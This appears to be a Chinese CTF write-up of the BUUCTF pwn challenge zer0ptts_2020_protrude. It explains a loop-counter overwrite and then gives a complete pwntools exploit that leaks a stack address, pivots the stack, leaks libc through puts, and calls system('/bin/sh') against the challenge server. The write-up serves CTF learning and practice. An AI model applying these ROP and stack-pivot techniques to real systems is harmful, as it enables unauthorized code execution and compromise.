[BUUCTF-pwn] zer0ptts_2020_protrude

程序允许最多输入22个数,先输入个数再逐个输入数字,当输入到num[15]时输入0会到2重新开始,这里存的是for(i=0;i<n;i++)里的i,这种情况在pwn题里还是比较常见的。通过覆盖这个计数器可以路过不该覆盖的位置。

  1. 22个数正好覆盖到return位置
  2. 程序main和calc_sum都只运行一次没有循环,所以每次都要覆盖return来实现重复输入
  3. 两次输入不同的值计算差得到栈地址(15前是固定的无法跳过,一个跳到rbp覆盖为0一个不覆盖即可得到rbp,但两次rbp的偏移需要减差)

步骤:

  1. 在【15】处输入20直接跳到ret覆盖为_start 
  2. 在【15】处输入19直接跳到rbp,覆盖rbp,ret为0,_start 
  3. 计算差得到栈地址
  4. 输入rop(pop_rdi_ret,got.puts,plt.puts,_start),输入18跳到 rbp输入栈地址(num[0]处)+leave_ret移栈
  5. 执行rop输入got表得到libc并返回start(这里有个坑,题目并未调用过puts,本来使用printf但远程printf无输出)
  6. 直接在ret处写one_gadget或者像上步一样写rop移栈
from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    libc_start_main_ret = 0x20840
else:
    p = remote('node4.buuoj.cn', 28427) 
    libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context(arch='amd64') #, log_level='debug'

def calc_sum(n,payload):
    p.sendlineafter(b"n = ", str(n).encode())
    for i in payload:
        p.sendlineafter(b'] = ', str(i).encode())
    p.recvuntil(b'SUM = ')
    return int(p.recvline()[:-1])

start    = elf.sym['_start']
payload = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,start]
sum1 = calc_sum(22,payload)

payload = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,17,0,0,0,start]
sum2 = calc_sum(22,payload)

stack = sum1-sum2 - 0xe0 - (0x740-0x4d0)
pop_rdi   = 0x0000000000400a83 # pop rdi ; ret
leave_ret = 0x0000000000400849 # leave ; ret

payload = [0,pop_rdi,elf.got['puts'],elf.plt['puts'],start,0,0,0,0,0,0,0,0,0,19,stack,leave_ret]
sum2 = calc_sum(22,payload)

libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
system = libc_base + libc_elf.sym['system']
bin_sh = libc_base + next(libc_elf.search(b'/bin/sh'))
one_gadget = libc_base + one[1]
print('libc:', hex(libc_base))
payload = [0,pop_rdi,bin_sh,system,0,0,0,0,0,0,0,0,0,0,19,stack-0x160,leave_ret]
#payload = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,one_gadget]
sum2 = calc_sum(22,payload)

p.sendline(b'cat /flag')
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值